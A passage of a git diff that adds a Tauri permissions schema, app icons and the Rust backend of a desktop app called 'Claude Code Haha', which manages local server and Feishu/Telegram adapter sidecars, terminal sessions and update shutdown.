pre-configured scope.","commands":{"allow":[],"deny":["open"]}},"deny-spawn":{"identifier":"deny-spawn","description":"Denies the spawn command without any pre-configured scope.","commands":{"allow":[],"deny":["spawn"]}},"deny-stdin-write":{"identifier":"deny-stdin-write","description":"Denies the stdin_write command without any pre-configured scope.","commands":{"allow":[],"deny":["stdin_write"]}}},"permission_sets":{},"global_scope_schema":{"$schema":"http://json-schema.org/draft-07/schema#","anyOf":[{"additionalProperties":false,"properties":{"args":{"allOf":[{"$ref":"#/definitions/ShellScopeEntryAllowedArgs"}],"description":"The allowed arguments for the command execution."},"cmd":{"description":"The command name. It can start with a variable that resolves to a system base directory. The variables are: `$AUDIO`, `$CACHE`, `$CONFIG`, `$DATA`, `$LOCALDATA`, `$DESKTOP`, `$DOCUMENT`, `$DOWNLOAD`, `$EXE`, `$FONT`, `$HOME`, `$PICTURE`, `$PUBLIC`, `$RUNTIME`, `$TEMPLATE`, `$VIDEO`, `$RESOURCE`, `$LOG`, `$TEMP`, `$APPCONFIG`, `$APPDATA`, `$APPLOCALDATA`, `$APPCACHE`, `$APPLOG`.","type":"string"},"name":{"description":"The name for this allowed shell command configuration.\n\nThis name will be used inside of the webview API to call this command along with any specified arguments.","type":"string"}},"required":["cmd","name"],"type":"object"},{"additionalProperties":false,"properties":{"args":{"allOf":[{"$ref":"#/definitions/ShellScopeEntryAllowedArgs"}],"description":"The allowed arguments for the command execution."},"name":{"description":"The name for this allowed shell command configuration.\n\nThis name will be used inside of the webview API to call this command along with any specified arguments.","type":"string"},"sidecar":{"description":"If this command is a sidecar command.","type":"boolean"}},"required":["name","sidecar"],"type":"object"}],"definitions":{"ShellScopeEntryAllowedArg":{"anyOf":[{"description":"A non-configurable argument that is passed to the command in the order it was specified.","type":"string"},{"additionalProperties":false,"description":"A variable that is set while calling the command from the webview API.","properties":{"raw":{"default":false,"description":"Marks the validator as a raw regex, meaning the plugin should not make any modification at runtime.\n\nThis means the regex will not match on the entire string by default, which might be exploited if your regex allow unexpected input to be considered valid. When using this option, make sure your regex is correct.","type":"boolean"},"validator":{"description":"[regex] validator to require passed values to conform to an expected input.\n\nThis will require the argument value passed to this variable to match the `validator` regex before it will be executed.\n\nThe regex string is by default surrounded by `^...$` to match the full string. For example the `https?://\\w+` regex would be registered as `^https?://\\w+$`.\n\n[regex]: <https://docs.rs/regex/latest/regex/#syntax>","type":"string"}},"required":["validator"],"type":"object"}],"description":"A command argument allowed to be executed by the webview API."},"ShellScopeEntryAllowedArgs":{"anyOf":[{"description":"Use a simple boolean to allow all or disable all arguments to this command configuration.","type":"boolean"},{"description":"A specific set of [`ShellScopeEntryAllowedArg`] that are valid to call for the command configuration.","items":{"$ref":"#/definitions/ShellScopeEntryAllowedArg"},"type":"array"}],"description":"A set of command arguments allowed to be executed by the webview API.\n\nA value of `true` will allow any arguments to be passed to the command. `false` will disable all arguments. A list of [`ShellScopeEntryAllowedArg`] will set those arguments as the only valid arguments to be passed to the attached command configuration."}},"description":"Shell scope entry.","title":"ShellScopeEntry"}},"updater":{"default_permission":{"identifier":"default","description":"This permission set configures which kind of\nupdater functions are exposed to the frontend.\n\n#### Granted Permissions\n\nThe full workflow from checking for updates to installing them\nis enabled.\n\n","permissions":["allow-check","allow-download","allow-install","allow-download-and-install"]},"permissions":{"allow-check":{"identifier":"allow-check","description":"Enables the check command without any pre-configured scope.","commands":{"allow":["check"],"deny":[]}},"allow-download":{"identifier":"allow-download","description":"Enables the download command without any pre-configured scope.","commands":{"allow":["download"],"deny":[]}},"allow-download-and-install":{"identifier":"allow-download-and-install","description":"Enables the download_and_install command without any pre-configured scope.","commands":{"allow":["download_and_install"],"deny":[]}},"allow-install":{"identifier":"allow-install","description":"Enables the install command without any pre-configured scope.","commands":{"allow":["install"],"deny":[]}},"deny-check":{"identifier":"deny-check","description":"Denies the check command without any pre-configured scope.","commands":{"allow":[],"deny":["check"]}},"deny-download":{"identifier":"deny-download","description":"Denies the download command without any pre-configured scope.","commands":{"allow":[],"deny":["download"]}},"deny-download-and-install":{"identifier":"deny-download-and-install","description":"Denies the download_and_install command without any pre-configured scope.","commands":{"allow":[],"deny":["download_and_install"]}},"deny-install":{"identifier":"deny-install","description":"Denies the install command without any pre-configured scope.","commands":{"allow":[],"deny":["install"]}}},"permission_sets":{},"global_scope_schema":null}}
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/desktop/src-tauri/icons/Square30x30Logo.png b/_all-in-one-upload/cc-haha/desktop/src-tauri/icons/Square30x30Logo.png
new file mode 100644
index 0000000..330ee21
Binary files /dev/null and b/_all-in-one-upload/cc-haha/desktop/src-tauri/icons/Square30x30Logo.png differ
diff --git a/_all-in-one-upload/cc-haha/desktop/src-tauri/icons/android/mipmap-xxxhdpi/ic_launcher_foreground.png b/_all-in-one-upload/cc-haha/desktop/src-tauri/icons/android/mipmap-xxxhdpi/ic_launcher_foreground.png
new file mode 100644
index 0000000..cc36933
Binary files /dev/null and b/_all-in-one-upload/cc-haha/desktop/src-tauri/icons/android/mipmap-xxxhdpi/ic_launcher_foreground.png differ
diff --git a/_all-in-one-upload/cc-haha/desktop/src-tauri/src/lib.rs b/_all-in-one-upload/cc-haha/desktop/src-tauri/src/lib.rs
new file mode 100644
index 0000000..c6a33d0
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/desktop/src-tauri/src/lib.rs
@@ -0,0 +1,1106 @@
+use std::{
+    collections::{HashMap, VecDeque},
+    io::{Error as IoError, ErrorKind, Read, Write},
+    net::{SocketAddr, TcpListener, TcpStream},
+    path::PathBuf,
+    process::{Command as StdCommand, Stdio},
+    str,
+    sync::{
+        atomic::{AtomicU32, Ordering},
+        Arc, Mutex,
+    },
+    thread,
+    time::{Duration, Instant},
+};
+
+use portable_pty::{native_pty_system, ChildKiller, CommandBuilder, MasterPty, PtySize};
+use serde::Serialize;
+use tauri::menu::{MenuBuilder, MenuItemBuilder, SubmenuBuilder};
+use tauri::tray::{MouseButton, MouseButtonState, TrayIconBuilder, TrayIconEvent};
+use tauri::Emitter;
+use tauri::{AppHandle, Manager, RunEvent, State, WindowEvent};
+use tauri_plugin_shell::{
+    process::{CommandChild, CommandEvent},
+    ShellExt,
+};
+
+const SERVER_STARTUP_LOG_LIMIT: usize = 80;
+const MAIN_WINDOW_LABEL: &str = "main";
+const TRAY_SHOW_ID: &str = "tray_show";
+const TRAY_QUIT_ID: &str = "tray_quit";
+
+#[derive(Default)]
+struct ServerState(Mutex<ServerStatus>);
+
+struct ServerRuntime {
+    url: String,
+    child: CommandChild,
+}
+
+#[derive(Default)]
+struct ServerStatus {
+    runtime: Option<ServerRuntime>,
+    startup_error: Option<String>,
+}
+
+#[derive(Default)]
+struct AppExitState {
+    is_quitting: Mutex<bool>,
+}
+
+/// 与 ServerState 平级的 adapter 子进程状态。
+///
+/// adapter sidecar（claude-sidecar adapters --feishu --telegram）的生命周期
+/// 跟 server 不同：它没有 HTTP 端口可探活，没配凭据时会自己干净退出，
+/// 而且需要支持运行时热重启 —— 用户在设置页保存飞书 / Telegram 凭据后，
+/// 前端会通过 invoke('restart_adapters_sidecar') 来重启它，让新凭据生效。
+#[derive(Default)]
+struct AdapterState(Mutex<Option<CommandChild>>);
+
+#[derive(Default)]
+struct TerminalState {
+    next_id: AtomicU32,
+    sessions: Mutex<HashMap<u32, TerminalSession>>,
+}
+
+struct TerminalSession {
+    master: Box<dyn MasterPty + Send>,
+    writer: Mutex<Box<dyn std::io::Write + Send>>,
+    killer: Mutex<Box<dyn ChildKiller + Send + Sync>>,
+}
+
+#[derive(Serialize, Clone)]
+struct TerminalSpawnResult {
+    session_id: u32,
+    shell: String,
+    cwd: String,
+}
+
+#[derive(Serialize, Clone)]
+struct TerminalOutputPayload {
+    session_id: u32,
+    data: String,
+}
+
+#[derive(Serialize, Clone)]
+struct TerminalExitPayload {
+    session_id: u32,
+    code: u32,
+    signal: Option<String>,
+}
+
+#[tauri::command]
+fn get_server_url(state: State<'_, ServerState>) -> Result<String, String> {
+    let guard = state
+        .0
+        .lock()
+        .map_err(|_| "desktop server state is unavailable".to_string())?;
+
+    if let Some(runtime) = guard.runtime.as_ref() {
+        return Ok(runtime.url.clone());
+    }
+
+    Err(guard
+        .startup_error
+        .clone()
+        .unwrap_or_else(|| "desktop server did not start".to_string()))
+}
+
+/// 前端在设置页保存飞书 / Telegram 凭据后调用，触发 adapter sidecar 热重启。
+///
+/// 流程：
+///   1. kill 当前 adapter 子进程（如果在跑）
+///   2. spawn 新的 adapter 子进程
+///   3. 新 sidecar 内部的 loadConfig() 会读到最新的 ~/.claude/adapters.json
+///      并重新建立 WebSocket 连接到飞书 / Telegram
+///
+/// 凭据缺失时 sidecar 自己会 warn + skip + 退出，所以这里不需要前置检查。
+#[tauri::command]
+fn restart_adapters_sidecar(app: AppHandle) -> Result<(), String> {
+    stop_adapters_sidecar(&app);
+    spawn_and_track_adapters_sidecar(&app);
+    Ok(())
+}
+
+#[tauri::command]
+fn prepare_for_update_install(app: AppHandle) -> Result<(), String> {
+    mark_app_quitting(&app);
+    stop_server_sidecar(&app);
+    stop_adapters_sidecar(&app);
+
+    #[cfg(target_os = "windows")]
+    {
+        kill_windows_sidecars();
+    }
+
+    // Give Windows a short moment to release executable file handles before the
+    // updater starts replacing bundled sidecars in the install directory.
+    std::thread::sleep(Duration::from_millis(750));
+    Ok(())
+}
+
+fn mark_app_quitting(app: &AppHandle) {
+    if let Some(state) = app.try_state::<AppExitState>() {
+        if let Ok(mut is_quitting) = state.is_quitting.lock() {
+            *is_quitting = true;
+        }
+    }
+}
+
+fn should_hide_to_tray(app: &AppHandle, label: &str) -> bool {
+    if label != MAIN_WINDOW_LABEL {
+        return false;
+    }
+
+    app.try_state::<AppExitState>()
+        .and_then(|state| state.is_quitting.lock().ok().map(|value| !*value))
+        .unwrap_or(true)
+}
+
+fn show_main_window(app: &AppHandle) {
+    if let Some(window) = app.get_webview_window(MAIN_WINDOW_LABEL) {
+        let _ = window.unminimize();
+        let _ = window.show();
+        let _ = window.set_focus();
+    }
+}
+
+fn setup_system_tray(app: &mut tauri::App) -> tauri::Result<()> {
+    let menu = MenuBuilder::new(app)
+        .text(TRAY_SHOW_ID, "Show Claude Code Haha")
+        .separator()
+        .text(TRAY_QUIT_ID, "Quit Claude Code Haha")
+        .build()?;
+
+    let mut tray = TrayIconBuilder::with_id("main-tray")
+        .tooltip("Claude Code Haha")
+        .menu(&menu)
+        .show_menu_on_left_click(false)
+        .on_menu_event(|app, event| match event.id().as_ref() {
+            TRAY_SHOW_ID => show_main_window(app),
+            TRAY_QUIT_ID => {
+                mark_app_quitting(app);
+                app.exit(0);
+            }
+            _ => {}
+        })
+        .on_tray_icon_event(|tray, event| {
+            if let TrayIconEvent::Click {
+                button: MouseButton::Left,
+                button_state: MouseButtonState::Up,
+                ..
+            } = event
+            {
+                show_main_window(tray.app_handle());
+            }
+        });
+
+    if let Some(icon) = app.default_window_icon() {
+        tray = tray.icon(icon.clone());
+    }
+
+    tray.build(app)?;
+
+    Ok(())
+}
+
+#[tauri::command]
+fn terminal_spawn(
+    app: AppHandle,
+    state: State<'_, TerminalState>,
+    cols: u16,
+    rows: u16,
+    cwd: Option<String>,
+) -> Result<TerminalSpawnResult, String> {
+    let cwd_path = resolve_terminal_cwd(cwd)?;
+    let shell = default_shell();
+    let pty_system = native_pty_system();
+    let pair = pty_system
+        .openpty(PtySize {
+            rows: rows.max(8),
+            cols: cols.max(20),
+            pixel_width: 0,
+            pixel_height: 0,
+        })
+        .map_err(|err| format!("open terminal pty: {err}"))?;
+
+    let mut cmd = CommandBuilder::new(&shell);
+    cmd.cwd(cwd_path.as_os_str());
+    for (key, value) in terminal_environment(&shell) {
+        cmd.env(key, value);
+    }
+    cmd.env("TERM", "xterm-256color");
+    cmd.env("COLORTERM", "truecolor");
+
+    let mut child = pair
+        .slave
+        .spawn_command(cmd)
+        .map_err(|err| format!("spawn terminal shell: {err}"))?;
+    drop(pair.slave);
+
+    let mut reader = pair
+        .master
+        .try_clone_reader()
+        .map_err(|err| format!("clone terminal reader: {err}"))?;
+    let writer = pair
+        .master
+        .take_writer()
+        .map_err(|err| format!("open terminal writer: {err}"))?;
+    let killer = child.clone_killer();
+    let session_id = state.next_id.fetch_add(1, Ordering::Relaxed) + 1;
+
+    {
+        let mut sessions = state
+            .sessions
+            .lock()
+            .map_err(|_| "terminal state is unavailable".to_string())?;
+        sessions.insert(
+            session_id,
+            TerminalSession {
+                master: pair.master,
+                writer: Mutex::new(writer),
+                killer: Mutex::new(killer),
+            },
+        );
+    }
+
+    let output_app = app.clone();
+    thread::spawn(move || {
+        let mut buffer = [0_u8; 8192];
+        let mut pending_utf8 = Vec::new();
+        loop {
+            match reader.read(&mut buffer) {
+                Ok(0) => break,
+                Ok(n) => {
+                    let data = decode_terminal_output(&mut pending_utf8, &buffer[..n]);
+                    if !data.is_empty() {
+                        let _ = output_app.emit(
+                            "terminal-output",
+                            TerminalOutputPayload { session_id, data },
+                        );
+                    }
+                }
+                Err(err) => {
+                    let _ = output_app.emit(
+                        "terminal-output",
+                        TerminalOutputPayload {
+                            session_id,
+                            data: format!("\r\n[terminal read error: {err}]\r\n"),
+                        },
+                    );
+                    break;
+                }
+            }
+        }
+        if !pending_utf8.is_empty() {
+            let data = String::from_utf8_lossy(&pending_utf8).to_string();
+            let _ = output_app.emit(
+                "terminal-output",
+                TerminalOutputPayload { session_id, data },
+            );
+        }
+    });
+
+    let exit_app = app.clone();
+    thread::spawn(move || {
+        let status = child.wait();
+        if let Some(state) = exit_app.try_state::<TerminalState>() {
+            if let Ok(mut sessions) = state.sessions.lock() {
+                sessions.remove(&session_id);
+            }
+        }
+        match status {
+            Ok(status) => {
+                let _ = exit_app.emit(
+                    "terminal-exit",
+                    TerminalExitPayload {
+                        session_id,
+                        code: status.exit_code(),
+                        signal: status.signal().map(ToString::to_string),
+                    },
+                );
+            }
+            Err(err) => {
+                let _ = exit_app.emit(
+                    "terminal-output",
+                    TerminalOutputPayload {
+                        session_id,
+                        data: format!("\r\n[terminal wait error: {err}]\r\n"),
+                    },
+                );
+            }
+        }
+    });
+
+    Ok(TerminalSpawnResult {
+        session_id,
+        shell,
+        cwd: cwd_path.to_string_lossy().to_string(),
+    })
+}
+
+#[tauri::command]
+fn terminal_write(
+    state: State<'_, TerminalState>,
+    session_id: u32,
+    data: String,
+) -> Result<(), String> {
+    let sessions = state
+        .sessions
+        .lock()
+        .map_err(|_| "terminal state is unavailable".to_string())?;
+    let session = sessions
+        .get(&session_id)
+        .ok_or_else(|| "terminal session is not running".to_string())?;
+    let mut writer = session
+        .writer
+        .lock()
+        .map_err(|_| "terminal writer is unavailable".to_string())?;
+    writer
+        .write_all(data.as_bytes())
+        .map_err(|err| format!("write terminal input: {err}"))?;
+    writer
+        .flush()
+        .map_err(|err| format!("flush terminal input: {err}"))?;
+    Ok(())
+}
+
+#[tauri::command]
+fn terminal_resize(
+    state: State<'_, TerminalState>,
+    session_id: u32,
+    cols: u16,
+    rows: u16,
+) -> Result<(), String> {
+    let sessions = state
+        .sessions
+        .lock()
+        .map_err(|_| "terminal state is unavailable".to_string())?;
+    let session = sessions
+        .get(&session_id)
+        .ok_or_else(|| "terminal session is not running".to_string())?;
+    session
+        .master
+        .resize(PtySize {
+            rows: rows.max(8),
+            cols: cols.max(20),
+            pixel_width: 0,
+            pixel_height: 0,
+        })
+        .map_err(|err| format!("resize terminal: {err}"))?;
+    Ok(())
+}
+
+#[tauri::command]
+fn terminal_kill(state: State<'_, TerminalState>, session_id: u32) -> Result<(), String> {
+    let session = {
+        let mut sessions = state
+            .sessions
+            .lock()
+            .map_err(|_| "terminal state is unavailable".to_string())?;
+        sessions.remove(&session_id)
+    };
+
+    if let Some(session) = session {
+        let mut killer = session
+            .killer
+            .lock()
+            .map_err(|_| "terminal killer is unavailable".to_string())?;
+        killer
+            .kill()
+            .map_err(|err| format!("kill terminal shell: {err}"))?;
+    }
+    Ok(())
+}
+
+fn decode_terminal_output(pending: &mut Vec<u8>, chunk: &[u8]) -> String {
+    pending.extend_from_slice(chunk);
+    let mut output = String::new();
+
+    loop {
+        match str::from_utf8(pending) {
+            Ok(text) => {
+                output.push_str(text);
+                pending.clear();
+                break;
+            }
+            Err(err) => {
+                let valid_up_to = err.valid_up_to();
+                if valid_up_to > 0 {
+                    let text = str::from_utf8(&pending[..valid_up_to])
+                        .expect("valid_up_to marks a valid UTF-8 prefix");
+                    output.push_str(text);
+                    pending.drain(..valid_up_to);
+                    continue;
+                }
+
+                match err.error_len() {
+                    Some(error_len) => {
+                        output.push('\u{fffd}');
+                        pending.drain(..error_len);
+                    }
+                    None => break,
+                }
+            }
+        }
+    }
+
+    output
+}
+
+fn terminal_environment(shell: &str) -> HashMap<String, String> {
+    let mut env: HashMap<String, String> = std::env::vars().collect();
+    env.extend(login_shell_environment(shell));
+    ensure_utf8_locale(&mut env);
+    env
+}
+
+fn ensure_utf8_locale(env: &mut HashMap<String, String>) {
+    let fallback = default_utf8_locale();
+    for key in ["LANG", "LC_CTYPE", "LC_ALL"] {
+        let needs_fallback = env
+            .get(key)
+            .map(|value| !is_utf8_locale(value))
+            .unwrap_or(true);
+        if needs_fallback {
+            env.insert(key.to_string(), fallback.to_string());
+        }
+    }
+}
+
+fn is_utf8_locale(value: &str) -> bool {
+    let normalized = value.trim().to_ascii_lowercase().replace('-', "");
+    normalized.contains("utf8")
+}
+
+fn default_utf8_locale() -> &'static str {
+    #[cfg(target_os = "macos")]
+    {
+        "en_US.UTF-8"
+    }
+    #[cfg(all(unix, not(target_os = "macos")))]
+    {
+        "C.UTF-8"
+    }
+    #[cfg(not(unix))]
+    {
+        "C.UTF-8"
+    }
+}
+
+#[cfg(not(target_os = "windows"))]
+fn login_shell_environment(shell: &str) -> HashMap<String, String> {
+    let Ok(mut child) = StdCommand::new(shell)
+        .args(["-l", "-c", "env -0"])
+        .stdout(Stdio::piped())
+        .stderr(Stdio::null())
+        .spawn()
+    else {
+        return HashMap::new();
+    };
+
+    let deadline = Instant::now() + Duration::from_secs(2);
+    loop {
+        match child.try_wait() {
+            Ok(Some(status)) => {
+                if !status.success() {
+                    return HashMap::new();
+                }
+                let mut stdout = Vec::new();
+                if let Some(mut pipe) = child.stdout.take() {
+                    let _ = pipe.read_to_end(&mut stdout);
+                }
+                return parse_env_block(&stdout);
+            }
+            Ok(None) if Instant::now() < deadline => {
+                thread::sleep(Duration::from_millis(25));
+            }
+            Ok(None) => {
+                let _ = child.kill();
+                let _ = child.wait();
+                return HashMap::new();
+            }
+            Err(_) => return HashMap::new(),
+        }
+    }
+}
+
+#[cfg(target_os = "windows")]
+fn login_shell_environment(_shell: &str) -> HashMap<String, String> {
+    HashMap::new()
+}
+
+fn parse_env_block(bytes: &[u8]) -> HashMap<String, String> {
+    bytes
+        .split(|byte| *byte == 0)
+        .filter_map(|entry| {
+            if entry.is_empty() {
+                return None;
+            }
+            let equals = entry.iter().position(|byte| *byte == b'=')?;
+            if equals == 0 {
+                return None;
+            }
+            let key = String::from_utf8_lossy(&entry[..equals]).to_string();
+            let value = String::from_utf8_lossy(&entry[equals + 1..]).to_string();
+            Some((key, value))
+        })
+        .collect()
+}
+
+fn resolve_terminal_cwd(cwd: Option<String>) -> Result<PathBuf, String> {
+    let path = match cwd.and_then(|value| {
+        let trimmed = value.trim();
+        if trimmed.is_empty() {
+            None
+        } else {
+            Some(PathBuf::from(trimmed))
+        }
+    }) {
+        Some(path) => path,
+        None => home_dir().unwrap_or(
+            std::env::current_dir().map_err(|err| format!("resolve current directory: {err}"))?,
+        ),
+    };
+
+    if path.is_dir() {
+        Ok(path)
+    } else {
+        Err(format!("terminal cwd does not exist: {}", path.display()))
+    }
+}
+
+fn home_dir() -> Option<PathBuf> {
+    std::env::var_os("HOME")
+        .or_else(|| std::env::var_os("USERPROFILE"))
+        .map(PathBuf::from)
+}
+
+fn default_shell() -> String {
+    #[cfg(target_os = "windows")]
+    {
+        std::env::var("COMSPEC").unwrap_or_else(|_| "powershell.exe".to_string())
+    }
+    #[cfg(not(target_os = "windows"))]
+    {
+        std::env::var("SHELL").unwrap_or_else(|_| {
+            if PathBuf::from("/bin/zsh").exists() {
+                "/bin/zsh".to_string()
+            } else {
+                "/bin/bash".to_string()
+            }
+        })
+    }
+}
+
+fn reserve_local_port() -> Result<u16, String> {
+    let listener =
+        TcpListener::bind("127.0.0.1:0").map_err(|err| format!("bind local port: {err}"))?;
+    let port = listener
+        .local_addr()
+        .map_err(|err| format!("read local port: {err}"))?
+        .port();
+    drop(listener);
+    Ok(port)
+}
+
+fn wait_for_server(url_host: &str, port: u16) -> Result<(), String> {
+    let addr: SocketAddr = format!("{url_host}:{port}")
+        .parse()
+        .map_err(|err| format!("parse server address: {err}"))?;
+    let deadline = Instant::now() + Duration::from_secs(10);
+
+    while Instant::now() < deadline {
+        if TcpStream::connect_timeout(&addr, Duration::from_millis(200)).is_ok() {
+            return Ok(());
+        }
+        std::thread::sleep(Duration::from_millis(150));
+    }
+
+    Err(format!(
+        "desktop server did not start listening on {url_host}:{port} within 10 seconds"
+    ))
+}
+
+fn push_server_startup_log(logs: &Arc<Mutex<VecDeque<String>>>, line: String) {
+    let line = line.trim_end().to_string();
+    if line.is_empty() {
+        return;
+    }
+
+    let Ok(mut guard) = logs.lock() else {
+        return;
+    };
+    if guard.len() >= SERVER_STARTUP_LOG_LIMIT {
+        guard.pop_front();
+    }
+    guard.push_back(line);
+}
+
+fn format_server_startup_error(message: &str, logs: &Arc<Mutex<VecDeque<String>>>) -> String {
+    let log_text = logs
+        .lock()
+        .ok()
+        .map(|guard| guard.iter().cloned().collect::<Vec<_>>().join("\n"))
+        .filter(|text| !text.trim().is_empty())
+        .unwrap_or_else(|| "No server stdout/stderr was captured before the timeout.".to_string());
+
+    format!("{message}\n\nRecent server logs:\n{log_text}")
+}
+
+fn resolve_app_root(_app: &AppHandle) -> Result<PathBuf, String> {
+    // 历史用途：此前 sidecar launcher 用 dynamic file:// import 加载磁盘上
+    // 的 src/server/index.ts 和 preload.ts，所以 Tauri 必须把整个 src/ +
+    // node_modules/ 当 Resource 一起 ship 到 .app/Contents/Resources/app/。
+    //
+    // 现在 launcher 改成静态 import + bun build --compile 整棵静态打进二进制，
+    // sidecar 不再读磁盘上的 src/ 或 node_modules/。CLAUDE_APP_ROOT 现在
+    // 只剩一个名义上的"app 安装根目录"作用，给 conversationService 在
+    // spawn CLI 子进程时通过 --app-root 透传。
+    //
+    // 我们直接用当前可执行文件所在目录作为 app_root：
+    //   Dev:  desktop/src-tauri/target/<profile>/  （rust 跑出来的 binary 那一层）
+    //   Prod: <App>.app/Contents/MacOS/             （sidecar 二进制的同级目录）
+    let exe = std::env::current_exe().map_err(|err| format!("resolve current exe path: {err}"))?;
+    let dir = exe
+        .parent()
+        .ok_or_else(|| "current exe has no parent dir".to_string())?
+        .to_path_buf();
+    Ok(dir)
+}
+
+fn start_server_sidecar(app: &AppHandle) -> Result<ServerRuntime, String> {
+    let host = "127.0.0.1";
+    let port = reserve_local_port()?;
+    let url = format!("http://{host}:{port}");
+    let app_root = resolve_app_root(app)?;
+    let app_root_arg = app_root.to_string_lossy().to_string();
+
+    // 单一合并 sidecar：第一个参数选 server / cli / adapters 模式。
+    let mut sidecar = app
+        .shell()
+        .sidecar("claude-sidecar")
+        .map_err(|err| format!("resolve sidecar: {err}"))?;
+    for (key, value) in terminal_environment(&default_shell()) {
+        sidecar = sidecar.env(key, value);
+    }
+    let sidecar = sidecar.args([
+        "server",
+        "--app-root",
+        &app_root_arg,
+        "--host",
+        host,
+        "--port",
+        &port.to_string(),
+    ]);
+
+    let startup_logs = Arc::new(Mutex::new(VecDeque::new()));
+    let logs_for_task = Arc::clone(&startup_logs);
+
+    let (mut rx, child) = sidecar
+        .spawn()
+        .map_err(|err| format!("spawn server sidecar: {err}"))?;
+
+    tauri::async_runtime::spawn(async move {
+        while let Some(event) = rx.recv().await {
+            match event {
+                CommandEvent::Stdout(line) => {
+                    let line = String::from_utf8_lossy(&line);
+                    let line = line.trim_end();
+                    println!("[claude-server] {line}");
+                    push_server_startup_log(&logs_for_task, format!("[stdout] {line}"));
+                }
+                CommandEvent::Stderr(line) => {
+                    let line = String::from_utf8_lossy(&line);
+                    let line = line.trim_end();
+                    eprintln!("[claude-server] {line}");
+                    push_server_startup_log(&logs_for_task, format!("[stderr] {line}"));
+                }
+                CommandEvent::Terminated(payload) => {
+                    let line = format!(
+                        "sidecar exited (code={:?}, signal={:?})",
+                        payload.code, payload.signal
+                    );
+                    eprintln!("[claude-server] {line}");
+                    push_server_startup_log(&logs_for_task, format!("[exit] {line}"));
+                }
+                _ => {}
+            }
+        }
+    });
+
+    if let Err(err) = wait_for_server(host, port) {
+        let _ = child.kill();
+        return Err(format_server_startup_error(&err, &startup_logs));
+    }
+
+    Ok(ServerRuntime { url, child })
+}
+
+fn stop_server_sidecar(app: &AppHandle) {
+    let Some(state) = app.try_state::<ServerState>() else {
+        return;
+    };
+
+    let Ok(mut guard) = state.0.lock() else {
+        return;
+    };
+
+    if let Some(runtime) = guard.runtime.take() {
+        let _ = runtime.child.kill();
+    }
+}
+
+/// 启动 adapter sidecar。返回 Result 主要为了把"无法 spawn"和"spawn 后立刻
+/// 退出（凭据缺失）"区分开 —— 后者不算错误，是正常 default 状态。
+fn start_adapters_sidecar(app: &AppHandle) -> Result<CommandChild, String> {
+    let app_root = resolve_app_root(app)?;
+    let app_root_arg = app_root.to_string_lossy().to_string();
+
+    // adapter 内部的 WsBridge 默认连 ws://127.0.0.1:3456，但桌面端的 server
+    // 用的是 reserve_local_port() 拿到的动态端口。这里把实际端口通过
+    // ADAPTER_SERVER_URL env var 传过去 —— adapters/common/config.ts 的
+    // loadConfig() 会读它。
+    //
+    // 如果 server 还没起来 / 没拿到 URL，回退到 3456 作为最后兜底（adapter
+    // 自己有重连逻辑，等 server 上线就能连上）。
+    let server_http_url = app
+        .try_state::<ServerState>()
+        .and_then(|state| {
+            state
+                .0
+                .lock()
+                .ok()
+                .and_then(|guard| guard.runtime.as_ref().map(|r| r.url.clone()))
+        })
+        .unwrap_or_else(|| "http://127.0.0.1:3456".to_string());
+    // WsBridge 直接 `new WebSocket('${serverUrl}/ws/...')`，必须传 ws://；
+    // 不会自动从 http 转。
+    let server_ws_url = if let Some(rest) = server_http_url.strip_prefix("http://") {
+        format!("ws://{rest}")
+    } else if let Some(rest) = server_http_url.strip_prefix("https://") {
+        format!("wss://{rest}")
+    } else {
+        server_http_url.clone()
+    };
+
+    let mut sidecar = app
+        .shell()
+        .sidecar("claude-sidecar")
+        .map_err(|err| format!("resolve sidecar: {err}"))?;
+    for (key, value) in terminal_environment(&default_shell()) {
+        sidecar = sidecar.env(key, value);
+    }
+    let sidecar = sidecar.env("ADAPTER_SERVER_URL", &server_ws_url).args([
+        "adapters",
+        "--app-root",
+        &app_root_arg,
+        "--feishu",
+        "--telegram",
+    ]);
+
+    let (mut rx, child) = sidecar
+        .spawn()
+        .map_err(|err| format!("spawn adapter sidecar: {err}"))?;
+
+    // 用一个 async task 把 sidecar 的 stdout/stderr 转发出来。它退出时
+    // 整个 task 也会自然结束。
+    tauri::async_runtime::spawn(async move {
+        while let Some(event) = rx.recv().await {
+            match event {
+                CommandEvent::Stdout(line) => {
+                    let line = String::from_utf8_lossy(&line);
+                    println!("[claude-adapters] {}", line.trim_end());
+                }
+                CommandEvent::Stderr(line) => {
+                    let line = String::from_utf8_lossy(&line);
+                    eprintln!("[claude-adapters] {}", line.trim_end());
+                }
+                CommandEvent::Terminated(payload) => {
+                    // exit code != 0 是常态：用户没配凭据时 sidecar 内部会
+                    // warn + skip + process.exit(1)。这里只 info 一行，
+                    // 不要当错误冒泡。
+                    println!(
+                        "[claude-adapters] sidecar exited (code={:?}, signal={:?})",
+                        payload.code, payload.signal
+                    );
+                }
+                _ => {}
+            }
+        }
+    });
+
+    Ok(child)
+}
+
+/// spawn adapter sidecar 并把 child handle 存进 AdapterState。
+/// 在启动 + 重启路径里复用，集中处理"无法 spawn"的日志。
+fn spawn_and_track_adapters_sidecar(app: &AppHandle) {
+    match start_adapters_sidecar(app) {
+        Ok(child) => {
+            if let Some(state) = app.try_state::<AdapterState>() {
+                if let Ok(mut guard) = state.0.lock() {
+                    *guard = Some(child);
+                }
+            }
+        }
+        Err(err) => {
+            eprintln!("[desktop] failed to start adapter sidecar: {err}");
+        }
+    }
+}
+
+fn stop_adapters_sidecar(app: &AppHandle) {
+    let Some(state) = app.try_state::<AdapterState>() else {
+        return;
+    };
+    let Ok(mut guard) = state.0.lock() else {
+        return;
+    };
+    if let Some(child) = guard.take() {
+        let _ = child.kill();
+    }
+}
+
+#[cfg(target_os = "windows")]
+fn kill_windows_sidecars() {
+    for image_name in [
+        "claude-sidecar-x86_64-pc-windows-msvc.exe",
+        "claude-sidecar-aarch64-pc-windows-msvc.exe",
+        "claude-sidecar.exe",
+    ] {
+        let _ = StdCommand::new("taskkill")
+            .args(["/F", "/T", "/IM", image_name])
+            .stdout(Stdio::null())
+            .stderr(Stdio::null())
+            .status();
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::{decode_terminal_output, default_utf8_locale, ensure_utf8_locale, parse_env_block};
+    use std::collections::HashMap;
+
+    #[test]
+    fn terminal_output_decoder_preserves_split_chinese_characters() {
+        let mut pending = Vec::new();
+        let bytes = "安装 Skills 成功\n".as_bytes();
+
+        assert_eq!(decode_terminal_output(&mut pending, &bytes[..2]), "");
+        assert_eq!(decode_terminal_output(&mut pending, &bytes[2..4]), "安");
+        assert_eq!(
+            decode_terminal_output(&mut pending, &bytes[4..]),
